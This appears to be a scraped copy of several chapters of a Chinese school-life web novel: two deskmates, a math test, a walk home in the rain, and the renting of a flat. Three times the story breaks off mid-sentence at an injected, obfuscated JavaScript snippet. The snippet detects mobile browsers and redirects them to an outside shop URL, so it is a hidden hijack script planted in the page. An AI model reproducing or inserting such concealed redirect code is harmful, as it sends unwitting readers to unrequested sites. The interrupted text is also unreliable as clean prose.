张江洋正要走,像是发现什么,长腿迈开,一骨碌坐在了姜林的位置上,对着贺昭旁边的易时说:“你就是那个长得很高美国来的打篮球很厉害的转学生?” 贺昭:“……” 罗浩:“……” 易时缓缓抬头看了张江洋一眼。 张江洋肤色偏黑牙齿却很白,一笑就露出一口整齐白牙:“我是校队的副队长张江洋,幸会幸会。” 幸会?? 幸会你个大头鬼啊幸会! 贺昭预感极其不好,瞥见罗浩摆在桌上的水壶,打算战略性撤退去教室后面帮罗浩打水。 他的手还没来得及够到罗浩的水杯,听见张江洋那个二缺又说:“对了,我还是你旁边这位帅哥贺昭的弟弟,挺有缘的吧,既然这么有缘,咱就先交个朋友,日后球场上见面也算认识了。” 易时的声音带着一丝冷调,就像此刻教室空调喷出的冷气,清凉得丝丝入骨,他问:“谁说我打篮球很厉害?” 张江洋:“还能有谁,当然是我哥啊,他说你可厉害了,要带着3班跟我决一雌雄。” 贺昭差点跳了起来。 他什么时候说过易时要带着3班跟他决一雌雄?? 当着他的面把他吹的牛说给当事人听已经够难堪了,为什么还要添油加醋! 说不上是尴尬还是羞耻,贺昭当即怒了:“张江洋你是不是有毛病?胡说八道什么?” 张江洋一脸莫名其妙:“我怎么了?不是你说他很厉害吗?” 贺昭一口老血马上就要吐出来,懒得再理他,起身气势汹汹拿着罗浩的水壶去打水。 张江洋看着贺昭,不知道自己说错了什么竟然让他反应这么强烈,有些悻悻地拿起脚下的篮球打算先溜为上,想了想又跟易时说:“我哥这个人是有点儿莫名其妙的大少爷脾气,但其实他人不错,性格好讲义气而且从不记事儿,有什么过一会儿就好了,你以后就知道了,不要放在心上哈。” 易时瞥了一眼在饮水机前站着接水的大少爷,不,少年,少年似乎有些不耐烦,手指无意识在在饮水机轻轻敲击,他在男生中算高挑,但瘦而单薄,就像一只薄纸叠的千纸鹤。 他说:“不会。” 罗浩自小共情能力就特别强,方才听张江洋讲那些话暗暗替贺昭着急尴尬,但是听了张江洋这几句掏心窝子的话又觉得贺昭刚刚的反应有点儿过了。 张江洋虽然虎了点,但确实对贺昭不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480239|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗浩在心里“哎”了声,忍不住替贺昭留住了他:“江洋……” 张江洋疑惑地看了过来,他又不知道说什么好。 幸好就这么一会儿,贺昭已经打完水回来了,重重将水壶放在罗浩桌上,对张江洋扬了扬下巴:“你给我出来。” 张江洋乖乖跟着贺昭走了出去,明明张江洋比贺昭还要高一点,也壮实许多,在贺昭面前却莫名其妙气势矮了一截。 3班门前是一片平台,贺昭拉开窗,闷热的风吹了进来,贺昭问:“你是不打算读大学了吗?想继承家业开张叔的货车?还是在我妈店里帮工?” 张江洋老老实实:“啊?我没有想那么多。” 贺昭拿出长兄如父的气焰:“那你现在给我想,高二了,高考总分750分你连400分都考不到,你真打算就这么下去了?” 张江洋抱着篮球没有说话,低下头盯着自己的运动鞋,不知是在忍耐还是在思考,好一会儿似乎忍不住了,有些委屈地说:“是你说我不用像你,可以做自己。” 贺昭愣了愣。 他确实这么说过。 林佩玲和张鹏刚结婚那会儿,最开心的莫过于张江洋。那时他和张江洋都还在读初中,张江洋虽然是个混混刺头,但在这件事上丝毫没有叛逆,很轻松自在就接受了他和林佩玲,甚至有点儿小心翼翼的讨好。 贺昭也是偶然发现,张江洋一直在学他,他在做题,张江洋也在旁边装模作样看书,他自小学画画支起画板画个画,张江洋也买了个画板回来,就连他用电动牙刷刷牙,隔天他也买了个同款回来。 贺昭琢磨观察了好几天终于明白了,张江洋似乎觉得自己和他还有林佩玲有太多不一样的地方,他在努力向他们靠齐,他以为这样才能成为一家人。 于是贺昭忍不住找了个机会跟张江洋上天台聊了一会儿。 其实家人该怎么样,要怎样才能成为一家人,这种深奥复杂的问题贺昭也不清楚,更说不明白其中道理,只是觉得张江洋做他自己就好了。当时情景使然也确实说了一些鼓励的安慰的乱七八糟的话,不知道张江洋听没听明白,反正他自己说着说着都糊涂了。 不过之后,不知是醒悟了还是装不下去了,张江洋倒是恢复了正常。 看张江洋这反应,贺昭也能猜到他老师肯定说了“学学你哥”、“向你哥看齐”、“两兄弟怎么差别这么大”之类的话。 比起“坏孩子”张江洋,贺昭很明显是那个拿来作对比的“好孩子”。 这些话贺昭经常听,张江洋应该比他还经常听。 贺昭不喜欢这样的说法,说的人不经意,却好像要把一个人的独立人格抹杀装进符合期待的模型里。他和张江洋有很多不一样,这很正常,因为他们是两个人。 硬要把两个不一样的人以一样的标准去衡量,这才不正常。 贺昭说:“那我让你做自己,你也不能考这么差啊,你初中成绩不是还能看吗?” 张江洋更委屈了,连说话的嗓门都变大了:“初中和高中能一样吗?初中的题我勉强还能做,这高中的半天都听不懂!” 说得好有道理。 他竟然无力反驳。 于是,贺昭说:“你还有理了这么大声。” 张江洋:“……” 贺昭被自己和他的对话逗笑了:“算了,你快回去上课吧,这一身汗。” 这句话一说出口,贺昭顿时觉得自己更长兄如父了。 叛逆儿子张江洋应道:“哦知道了。” 8. 学霸 如张江洋所说,周测验的成绩出来了。 当天晚上晚自习,各科的卷子就陆陆续续发了下来。 除了家中有老母亲盯着的罗浩,班上大部分人已经对小小的周测验免疫,看完分数就索性把试卷往抽屉里一塞。 “沃日!”姜林不知道瞎激动什么,屁股一动连带着他的椅子重重磕在了贺昭的桌子上。 贺昭正在写英文作文,笔一抖划拉了一条线。 贺昭放下笔,捏了捏指骨:“大锤!” 姜林闻声回过头,贺昭指着自己原本一个字母一个字母勾画,完美得如同艺术品的英语作文中多出的一条线:“快向它道歉!” 姜林只简单瞥了一眼,然后将一份数学卷子悄悄递给他看,刚好露出分数,142。 贺昭愣了一下,150分满分的数学卷考了142分?卧草,姜林出息了啊。 没等他说出那句“苟富贵,勿相忘”,姜林又把试卷推了推,露出了名字。 易时。 姜林又故技重施将试卷展示给了四周的人看,然后将卷子毕恭毕敬地放到了易时桌面上,一寸寸地抹平,还专门拿了一个橡皮擦压在了上面。 一下课,四面八方的脑袋都凑了过来,一堆惊叹密得几乎要把试卷主人的同桌给埋没了。 “真是学霸啊。” “这是大学霸了吧,A班一二名都考不到这分数。” “美国是不是数学比我们难啊?” “不是说外国的学生不学习天天开party的吗?” “怎么可能啊,只是高考方式不同,课还是得上的吧” “……” 贺昭敲了敲桌子:“太浮夸了,差不多得了。” 姜林回过头,信誓旦旦地给出奶妈祝福:“易哥绝对很快就调去A班了。” 贺昭托着腮,极为认真在英语作文最后一句后面点了个完美的点:“谁?” 姜林:“易哥,142分的学霸,你同桌。” 贺昭头也不抬:“什么时候认的哥?” 姜林叹了口气:“刚刚,就刚刚,拜倒在142分之下。” 晚自习到了第三节,第一节课就被老师叫到办公室谈话的易时终于回来了。 他捏起压在他卷子上的橡皮擦,看了眼写完作业立起课本偷偷摸摸玩竞技类游戏嘴里还叼着棒棒糖的贺昭。 贺昭目不斜视,咬着棒棒糖用棍子点了点姜林,顺便伸出脚踢了一下姜林的椅子,算是替易时喊他。 姜林回过头,但错了方向,贺昭说:“你易哥还橡皮擦给你。” 姜林立即换了一边转身,和易时四目相对,易时不作声将橡皮擦推了过去,姜林立即双手虔诚地接了过去,然后带着练习册又转了过来,小心翼翼而尊敬地问:“易哥,你能教教我这道数学题怎么做吗?” 贺昭瞥了一眼,课间的时候姜林就在四处问这道题,没想到半节课了还没放弃。 静了一下,他听见易时说:“晚一点,我作业没写。” 这么简单一句,姜林却已经高兴坏了,连着嗯了两声:“那易哥我待会儿找你。” 没出息。 真是有奶便是哥。 贺昭突然觉得好像脸冷一点傲一点也没有什么不好,虽然一开始别人因此对你望而却步但对你的期望值也很低,你稍微和善一点,就足够让人受宠若惊。 当然了,前提是你要有资本,冷的资本傲的资本。 毕竟如果你只比人强一点,就会有人不服气、不屑、诋毁,用各种方式想把你踩下去,可如果你比别人强一大截,别人怎么也赶超不上,就会供着你崇拜你敬畏你。 贺昭手指灵活地滑动着屏幕,和敌方纠缠在一起。 易时突然出声:“周老师让你去一趟办公室,他有事找你。” 过了好几秒,贺昭才反应过来易时是在跟他说话,又过了好几秒,他才反应过来他口中的周老师是老周。 贺昭看了他一眼:“原来你会说十个字以上的话,语文学得挺好。” 下一秒,视线挪回屏幕,他死了。 古人说得好,玩游戏要专心不能分神。 还有45秒才复活。 贺昭懒洋洋往四周扫了一眼,兴许是受到学霸入侵的刺激,四周的同学一改平日在这个点都在说小话嬉闹的风俗,居然都在埋头苦学。于是,他把手机放进大学霸的抽屉里:“有空帮我玩一下呗,只要让我不要被队友举报就好。” 易时:“没空。” 贺昭也不勉强:“那算了。” 贺昭前脚刚走,姜林就转了过来,小声喊罗浩:“胖子胖子,我哥今晚怎么了?看起来不太高兴啊。” 贺昭不会对人随意发泄情绪,但他的情绪明显得近乎直白,整一个晚上气压都很低,任谁都能看出他心情不好。 奋笔疾书的易时停了一下,把卷子翻了个身,继续解析几何。 罗浩轻轻嘘了声:“他爸来了,他傍晚跟他爸吃饭去了,你没事别烦他啊,让他自己消化消化。” 姜林了然地轻“啊”了一声:“我就说他今晚怎么一直闷闷不乐不声不响,他爸找他干嘛啊。” 罗浩:“谁知道呢,唉家家有本难念的经。” 过了一会儿,罗浩不放心地叮嘱:“你回去可别乱说,别跟你奶奶说,你妈也别说。” 姜林家和贺昭家离得近,而街坊邻居最喜欢干的事就是传八卦。 姜林说:“我知道我知道,要我妈知道了,明天邻里两条街的人都会知道我哥他爸来找他。” 说着,他又转向易时:“诶,易哥,老周找我哥干嘛呀?” 易时冷淡地说:“不知道。” 窸窸窣窣窗外开始下雨,一场突如其来的雨,隐约有人倒吸了一口气。 过了没多久,姜林再度转了过来,可怜巴巴地望着易时,欲言又止。 易时倒是没再说什么,接过他手中的练习册,扫了一眼,在练习本上唰唰地解了出来,然后撕下这页纸夹在练习册上,推回给他:“你先看,不懂再问。” 姜林被他一系列连贯又迅速的动作震得有点儿懵:“哦哦,我看看。” 贺昭不在,他索性完全转过身,把贺昭桌上的书本和卷子随意一垒,趴在他桌上开始研究易时写给他那张纸。 易时的解题步骤写得很简洁但是该有的每一步都详细列出来了,他似乎好像隐约看懂了,应该懂了吧。 忽然,易时问:“你知道学校附近哪里房租吗?” 姜林立即抬起头:“易哥你要租房?” 易时答得简短:“嗯。” 姜林想了想说:“其实学校附近挺多出租房的,我帮你问问。” 他问的第一个人就是贺昭,悄悄摸出手机给贺昭发消息。 “哥,你家的房子还出租吗?” “易哥想租房。” 贺昭的手机在易时抽屉里轻轻震了震。 发送完消息等了好一会儿都没有回应,姜林才想起来贺昭在办公室,根本没可能回他消息。 于是,姜林直接对易时说:“易哥,你可以问问我哥,我记得他家有房子想出租,其他的我也帮你问问。” 易时说:“谢谢。” 姜林摆摆手:“别客气别客气,你既然来了3班咱就是一家人。” 等贺昭从办公室出来,晚自习已经下课了十几分钟,有些教室连灯都熄灭了,黑漆漆一片,像怪物张开血盆大口。 教室里空无一人,但教室灯还亮着,贺昭心想,也不知道是谁最后一个走也不关灯,真不环保,被抓到还得扣班级分呢。 他在自己抽屉里摸了摸,没摸到手机,这才想起来是塞进了易时的抽屉,往易时抽屉探了一下,探到了。 这个时间的教学楼安静空旷得有几分异样,也说不上来哪里异样,明明还是这桌子这门这阳台,但就是好像跟白天很不同。或许高大复杂的建筑物在黑暗隐约模糊,不知道藏匿着什么妖魔鬼怪,不知道会出现什么魑魅魍魉,这种未知感本身就让人不舒服。 怪不得学校永远是恐怖片喜爱的主题之一。 贺昭拎起书包正要去关灯,有人进来了。 易时。 贺昭有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480240|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分意外:“你怎么还没走?” 易时走了进来,随手收拾桌面上的书:“有事。” 贺昭发现易时特别爱整洁,只要人不在,桌面上总是一干二净什么都没有。 他看了眼自己还胡乱摊着几本书的桌面,顺势又看了看二人的抽屉,易时的抽屉一本本书码得十分工整,自己的……嗯,是有些凌乱。 真是勤劳勇敢的学霸。 贺昭走到教室前面的开关处:“你要走了吗?” 易时把桌面收拾完,随意把包挎在肩上:“嗯。” 贺昭“啪”关了灯,在黑暗中说:“那一起走吧。” 两人一起下楼,四周很安静,静得可以听见住宿区若有似无的热闹,说不上是自己的还是别人的脚步声带着清晰的回音,轻轻地回荡,就好像有东西跟在身后。 不过旁边多个了人,还是个步伐稳定丝毫不惊慌的人,像个驱魔人,驱散了贺昭心中发毛的感觉。 贺昭的想象力和联想能力都极为丰富,偏偏要往四周环视,压低声音故意制造悬疑:“你有看过《考死》吗?你觉不觉得我们学校这格局这走廊和里面那所学校有点儿像?” 没吓到身边的人反而自己心底又泛起了几丝异样。 易时面不改色:“没看过。” 贺昭又说:“你有空可以看一看,韩国的电影,挺刺激的。” 贺昭喜欢看恐怖片悬疑片,市面上这类片子他几乎都看过,但喜欢看不代表不会害怕。 易时看了他一眼,没有说话。 走到楼下贺昭才发现下雨了,雨不算很大但是淅沥淅沥持续不断,地面上已积了一层水,看起来已经下了一段时间而且应该还会下很久,贺昭忍不住在心里爆了句粗口。 易时打开了伞,看着他,似乎想看他打算怎么办又似乎在等他走进伞下。 贺昭犹豫着问:“你家在哪个方向啊?你能把我送到我妈店里吗?” 易时没有回答他的问题也没有拒绝:“走吧。” 贺昭走入伞下,谁也没有说话,一路保持着沉默。贺昭今晚兴致不高,反而没有平日里那种容易尴尬的曲曲绕绕的多余心思。听着雨滴细微而清晰滴滴答答落在伞面上的声音,夹着细雨的风清清爽爽吹在脸上,他甚至觉得就连这份沉默也意外地让人舒服。 走了一会儿,贺昭注意到易时确实很高,自己平视过去好像只能看到他嘴巴。 贺昭转过头确定了一下,对,只能看到他嘴唇上一点点。 易时不知道他在做什么,出声提醒:“水。” 水? 贺昭还没反应过来,已经一脚踩进了积水里。 贺昭低头看了眼自己湿透的运动鞋,颇有些无奈:“大哥,你说话能不能说明白点儿?什么水?你就不能说脚下有水吗?” 易时嗓音很低沉:“语文没学好。” 贺昭:“……” 拜托。 别误会他好不好? 他晚自习是真心夸他语文学得挺好,他想过易时说话简短是不是因为中文不好,但是易时转述老周邀请他去办公室喝茶那句话,主谓宾补状俱全。 但显然易时似乎不这么觉得。 啧。 让他更郁闷的是,前方,平时不到十点不关门的甜蜜时光竟然打烊了。 贺昭认命地从口袋里掏出手机打算让张江洋来接他,一打开手机,姜林的消息映入眼帘。 他点开,顿时有些意外,侧头看向旁边的人:“你要租房?” 易时定了两秒:“嗯。” 贺昭合上手机:“我家是有套房子打算租出去,但是……” 他上下打量了下易时,提建议道:“你现在有空去看一眼吗?很近,走路到六中就20来分钟,你腿长走得快的话可以更快,公交两个站,张江洋那小子说他蹬自行车只要五分钟。交通确实很方便,公交地铁都有,不过,地铁要多走几百米。唯一的问题就是个老小区,不知道你住不住得惯。” 地面湿漉漉的,全是一滩滩的水,路灯照在上面白花花一片,易时捏着伞柄:“去看看吧。” 9. 同类 贺昭打算出租的这套房是他和他妈以前住的房子,就在现在的家的正楼上。 原本贺昭和他妈住七楼,张江洋和他爸住在六楼,两邻居成了一家人后搬到了一起,七楼就空了下来。 林佩玲一开始想将这套房子卖出去,但又舍不得。贺昭和她在这里住了好几年,里面小到沙发垫,大到书架,都是他们两人一点一滴布置,充满了相依为命的回忆。 贺昭打开门,熟练地摸到了大灯开关,示意易时进来看。 房子已经很久没人住,但林佩玲有空的时候都会上来打扫卫生,看着十分干净整洁,沙发上电视上柜子上还特地罩着印着淡雅碎花的遮尘布。 易时停在了门口,没有迈步进来。 贺昭说:“没关系,进来吧,我鞋湿透了都踩进来了,也不差你这一脚。” 比起整栋楼陈旧的外观,房子里面委实算得上不错,看得出细致装修过。打蜡的木地板,贴着淡雅墙纸的墙面,优雅厚实的地毯,精致的吊灯,精心搭配的家具……细碎的小东西很多,却不凌乱,简洁明快,带着点英式田园风的复古温馨。 贺昭一路往里面走,人走到哪,灯开到哪,顺便把卧室的门也打开了。 贺昭问:“你跟谁一起住?” 易时跟在他后面,低低地答:“自己。” 贺昭转过身看着他,似乎在思考,末了叹了一口气:“虽然我很想把房子租出去,但是好歹同学一场,我也不想坑你。其实六中附近有很多出租房,离学校更近,新小区新楼房选择也多,有适合学生单租或合租,也有方便家长陪读的,兴许那些会更适合你。” 像他家这样的旧小区旧房子卖出去价格不会太高,兴许还有人买,但出租行情却不好。这说离学校近吧也没有太近,附近的租房又如雨后春笋纷纷冒尖,物廉价美,影响了行情。至少贺昭把租房信息挂在网上挂了大半年至今只有零星几个人来看房,看过后纷纷表示房子还行就是小区太旧,希望能把价格压低。但是价格太低,贺昭又不乐意租出去。 一句话,房东也不好当。 “当然啰,”贺昭话锋一转,“这房子有个很大的优势,那就是房东好,住得近,有什么问题呢24小时随叫随到。而且坐北朝南风水好,升职涨薪不成问题,学生住进来也能成绩扶摇直上九万里,这一层还是顶楼,楼顶天台就跟自己专属花园一样。” 易时:“……” 贺昭见他看向侧旁的小房间,解释道:“啊,这是我的画室,如果你确定要租的话,我可以收拾干净。” 这房子布局和楼下一样,三室两厅。林佩玲住次卧,原本里面有个很大的梳妆台,已搬到楼下。贺昭住主卧,主卧里摆着大大的落地书架,窗边是书桌,还有个单人小沙发,里面的家具包括床都还原封不动保留着。主要是张鹏和林佩玲结婚了,贺昭不好意思再占主卧,他原本房间里的东西根本塞不进现在的房间,就没有带走。 剩下那个小房间四面贴着白墙纸,墙纸上还有随心所欲挥洒颜料的痕迹,靠墙处放着一个架子,上面摆满贺昭的画画用具、颜料、画纸。画板就立在窗口,脚下还放着几个歪歪扭扭的石膏像,正压着一沓画。 易时看得出来,林佩玲没有收拾过这个房间。 几次租房失败后,贺昭在网上学习了一些忽悠人的话语,打算拿下一个来租房的人试刀。但是偏偏这次的对象是易时,自己的同学委实不太好意思下手,更何况,还是个怎么看都不谙行情的国际友人。 贺昭啊贺昭,谁让你天生就是个善良的大好人呢。 贺昭幽幽地说:“其实没事的,你不用不好意思拒绝,我就是带你来看看,想不想租你自己决定。” 说完,他自己都觉得自己语气酸溜溜的。 说实话,他真的很希望有人能租这房子,谁都好,只要有人租就可以逃避出售的命运,但是近来三个月,只有易时这一个来访客人。 简单游了一遍,贺昭将卧室的灯一一关了,将门带上,退到了客厅。 忽然,易时说:“我想租。” 贺昭闻言立即精神振奋了一下,确认道:“什么?你说你想租?” 易时的回答简短有力:“对。” 贺昭迟疑了下,不会是他的渴望表现得太明显了吧?易时这人吧,应该挺好人的,要不然也不会帮他妈。 这么一想,他有些不太好意思了:“要不你再考虑考虑吧?” 易时垂眸看他:“确定了,多少钱?” 他确定了,贺昭却有些不确定了,多少钱啊,他在网上挂的是3000元一个月,但是听者皆觉得贵。 他瞅着易时的脸色,犹豫着说:“3000?如果你觉得贵的话,我们还能再……” “商量”两个字还没说出来,易时点了点头:“好。” 这么爽快? 所以这是租出去了? 贺昭脑子里迅速过了一下流程,接下来要做什么?好像也没有什么可做了。 他掏出手机,俨然一副成熟房东的姿态:“加下好友吧,有什么问题都可以问我。” 见易时从书包里拿手机,贺昭又说:“我扫你吧。” 易时打开二维码递了过来,贺昭随意一扫,“滴”,然后按了发送请求。 贺昭收起手机:“走吧,我送你下去,你怎么回去?” 易时说:“打车。” 等贺昭锁好门,他又说:“不用送。” 贺昭坚持道:“送到路口吧,显得我这个房东热情。” 房客拿起放在门口的雨伞,一点儿都不热情地提醒:“下雨。” 贺昭反应了过来,对哦,下雨,他总不能把易时送到路口,易时又把他送回来吧。 想到这场景,贺昭有点儿乐了:“那行吧,本房东这一次就不送你了,刚才的路你还记得吧,前面走出去就是了,你路上小心点,到家给我报个平安哈。” 易时闻言忽然顿住,看了他一眼,贺昭正要主动热情地询问怎么了,他又挪开了视线,应了一声:“好。” 心情大好的房东站在自家阳台上看着远处的房客上了车,才哼着歌跑进浴室洗澡。 二十分钟后,贺昭洗完澡出来,林佩玲正在看电视,听声音张江洋正在房间里组队打游戏,激动得不停咒骂。 贺昭搭着毛巾随意地擦头发:“妈,你今天怎么那么早回来?” 林佩玲沉浸在电视里:“我看到下雨想到家里衣服没收就回来了,怎么啦?” 贺昭心中暗暗松了一口气,幸好不是身体不舒服。 他笑着说:“没什么就问一下,对了告诉你个好消息,楼上的房我好像租出去了。” 林佩玲回头看他,有些意外:“租出去啦?” 贺昭点了点头:“你认识的,我同学易时,他想租。” “这样啊……”林佩玲问,“那孩子现在住哪啊?怎么突然想租房子了?” 贺昭缓慢地说:“好像是亲戚家,好像是有点儿远去学校不方便。” 贺昭心想,应该是不想麻烦别人吧。 再说了,寄人篱下的滋味确实不太好受,就易时那性子怎么能忍受。 其实贺昭也说不上有多了解易时,但是他总感觉自己多多少少可以理解他的点。 贺昭晚上去办公室找老周,刚走到办公室的走廊,就听见物理老师的声音传了出来:“你说他爸妈怎么想的,就这么他一个人丢回国,不管不顾,怎么,老师想找家长聊聊还得跨时差啊。” 兴许是物理老师的语气听起来太愤怒了,鬼使神差地,他站在办公室门口没有进去。 老周慢吞吞地说:“听他舅舅说是他想回国,他妈就同意了。” 物理老师颇有些愤愤不平:“哦,同意了就可以啦?敢情还要夸她尊重孩子意愿啊?父母就这么好当啊?离婚了有新家庭了,就可以不管孩子了?当老师当久了真是什么家长都能见到,虽然见多了,可每一次还是很生气,我真佩服你这么淡定。” 老周说:“易时不是说了吗……” 贺昭脑中警铃大作,不能再听下去了,再听下去就涉及隐私了或许还是对方最不想别人知道的,至少他和易时还没熟悉到那种程度。 于是,贺昭走了进去:“报告,小明老师您找我?” 办公室里只有物理老师和老周两个老师在,见到他,止住了话题。 老周笑了笑:“我交给你的任务完成了吗?” 贺昭跟着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480241|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“易时说他会,但是我感觉他似乎不是很情愿会。” 老周说:“你搬张椅子来,咱们坐下好好聊聊。” 贺昭从隔壁老师那借了张空椅子,乖乖坐下。 老周温声问:“你觉得你新同桌怎么样?” 贺昭想了想:“挺好的,我觉得他肯定会很受欢迎。” 老周笑了一下,贺昭看出这个笑是真心的,老周问:“怎么受欢迎法?” 贺昭不答反问:“他成绩好长得帅兴许打篮球还挺厉害,小明老师,您说怎么受欢迎法?” 很多时候,或许是受老师家长的影响,或许是潜意识里的慕强从众心理,学生的世界就像个小型金字塔,看似简单也有着自己的规则,一般是成绩、长相、特长,你其中一两项越优秀你就爬得越高,就会越多人仰视你喜欢你。 怎么看易时都已经达标了。 老周说:“好好说话,在老师面前还搞这套看透一切的高深姿态啊贺昭?” 物理老师闻言忍不住笑了一下,拿着卷子出去了。 办公室里只剩下贺昭和老周两个人。 贺昭一脸冤枉:“我实话实说而已。” 老周:“易时刚转学过来,我和其他老师都很关心他,但他似乎不乐意谈太多自己的事。你们是同龄人,有共同语言,就没有聊过什么?” 贺昭果断摇了摇头:“没有。” 贺昭心想,你也知道他不太乐意说自己的事啊。 老周:“行吧,那你替我多盯着他点,该帮的地方多给人家点同学爱。” 贺昭一本正经地答应:“yes,sir。” “好了,不说易时了,现在来聊聊你,”老周换了个语气,听着极为冷静和蔼,“你爸爸时常打电话来询问你的成绩,在校表现,我感觉得出来他很关心你。可听你爸爸说你不接他电话也不见他,他很苦恼也希望老师能从中调解一下。贺昭啊你是个懂事聪明孩的子,或许是我多管闲事了,但是我想知道你是怎么想的,能不能跟我说说。” 贺昭心中那一股从傍晚萦绕到现在的烦躁腾地就烧了起来:“我没有不接电话也没有不见他,我只是没办法配合他的时间。他是大医生很忙,可我也很忙啊,我没办法在他有空的时候都有空。” 从来都是自说自话,自以为尽责自以为对他好,却从来没有问过他喜欢什么想要什么。明明只是想强迫他成为他理想中好儿子的样子,还非要他假装父慈子孝。 他受够了。 老周愣了愣,不知是惊讶他说的话,还是惊讶这个一贯和煦阳光的学生突然激动。 但发泄了一下情绪确实好多了,老周后来说了什么劝解安慰的话贺昭没怎么认真听。他盯着老周桌上那束仙人掌,心里想,原来易时和他一样,爸妈离婚了。 他和他爸妈关系好吗? 不知道为什么,贺昭隐隐有一点点找到同类的感觉。 贺昭从来不避讳自己的单亲家庭,妈妈再婚后他也不避讳自己的重组家庭。但是他也并不喜欢别人过多关注他的家庭情况,或者说不希望别人觉得他特殊。 以前聚会的时候有同学吐槽自己的爸爸妈妈在自己面前秀恩爱虐自己,立即有人使眼色,示意不要在他面前讲这样的话题。贺昭原本还在乐呵,被善意照顾后反而心里不太舒服。 就好像被提醒,他和他们不一样。 可有什么不一样呢? 天底下那么多父母那么多孩子,全都得一个样吗? 至少,不是所有人都那么幸运吧? 林佩玲又问:“他一个人住吗?” 贺昭:“应该是的,妈,他那个租金……” 林佩玲回头继续看电视,温柔地说:“租金你收着吧,你现在学习重需要买的东西多,而且你长大了花销也多了,不够的你再跟妈妈说。” 贺昭点了点头:“好。” 擦完头发,贺昭到阳台晾他湿透了的运动鞋,发现雨好像停了。 张江洋趿着拖鞋从房间里出来,从冰箱里掏出一瓶可乐,林佩玲轻声嘱咐他把桌上切好的水果拿进去吃。 贺昭心想,其实他也挺幸运啊。 上帝不也给了他一个善解人意又温柔体贴的妈妈吗? 10. 租客 贺昭吹完头发后直接躺在床上玩手机,打完一局游戏才想起不知道易时安全回到家没有。 打开有几百条未读消息的微信,全是乱七八糟的群消息,往下一拉。 Chris:我通过了你的好友验证请求,现在我们可以聊天了。 Chris:我到了 易时的微信昵称是一个简单的英文名“Chris”,而头像竟然是原始头像。 21世纪了,居然还有人用微信原始头像。 贺昭点了进去,预料之中,一条朋友圈都没有。 Chris是他的英文名吗? 这号不会注册没几天吧? 他会不会用啊知不知道有朋友圈这个功能啊? 贺昭的昵称叫“麻辣小龙虾”,他时常按照自己心情、季节换菜名,前段时间正是小龙虾旺季。头像则是一个搞怪表情,满头问号的一只猫,不管发什么消息都自带一股吐槽效果,贺昭很满意。 贺昭粗略算了一下时间,距离易时最新发的那句“我到了”已经过去两个小时十八分钟。 他在聊天框打了句“安全到家就好~早点休息”,想了想,又在后面加了个笑脸。 多么虚伪……啊不……多么和蔼可亲的房东啊。 几乎是发出的瞬间,顶部出现了一行字:对方正在输入…… 贺昭等了一会儿,然而这个显示消失了,什么都没有。 贺昭想了想,在输入框打字:你打算什么时候搬…… “过来”两个字还没打完,对方发了消息过来。 Chris:有合同吗? 贺昭愣了愣,合同?合同???竟然还要合同,这么专业吗?贺昭删了那一行字,立即切到搜索引擎,搜索“租房合同模板”,寻思着要不现在立即给他写一个?他翻阅了一下搜索出来的模板,好像可以用。忽然又想到另一个问题,易时成年了吗?应该没有吧?又改为搜索“未成年签订租房合同有法律效力吗?” 粗略看了一眼,嗯……他这边倒是可以让林佩玲签字,但易时的爸妈不都在国外吗。对了,易时是什么国籍啊?或许可以由他舅舅帮他租? 麻辣小龙虾:还没,但是可以有。我找找模板,写完明天给你? 没有回应。 贺昭盯着聊天界面,把几个热闹得乱哄哄的群给屏蔽了,又把手机静音给关了。 贺昭平日也是水群的主力军,没事就在里面砸表情包,但现在他有大事要做。 大约过了三四分钟,贺昭的手机终于震了一下。 Chris:算了,不用了。 算了?不用了?算了不用了是什么意思?? 不租了还是不用合同了? 手机又震了一下 Chris给你转账6000 麻辣小龙虾:? 怎么突然就到打款这一步了,怎么突然就转了6000元?进程是不是有点儿太快了? Chris:押一付一 说不出是因为收到一笔小巨款还是因为易时说的话,贺昭忍不住弯了弯眼睛,哟,居然还知道押一付一,不简单,真是小瞧国际友人了。 财迷贺昭立即点了收款,收了钱就算数了啊! 然后把最开始就想问的那句敲了出来:你打算什么时候搬过来? Chris:什么时候方便? 什么时候方便?这话的潜意思就是越快越好啊。 于是,收了钱十分善解人意的中国好房东回道:什么时候都方便,不过需要一点时间打扫一下。 对方输入了十几秒,消失了,又输入了十几秒,贺昭耐心等了一下,仍然什么都没有。 他在干嘛?被什么打断了还是欲言又止?还是打中文不熟练啊? 等了三秒,他敲了个问号过去。 这一次,易时倒是很快回了消息。 Chris:不用打扫 这么着急? 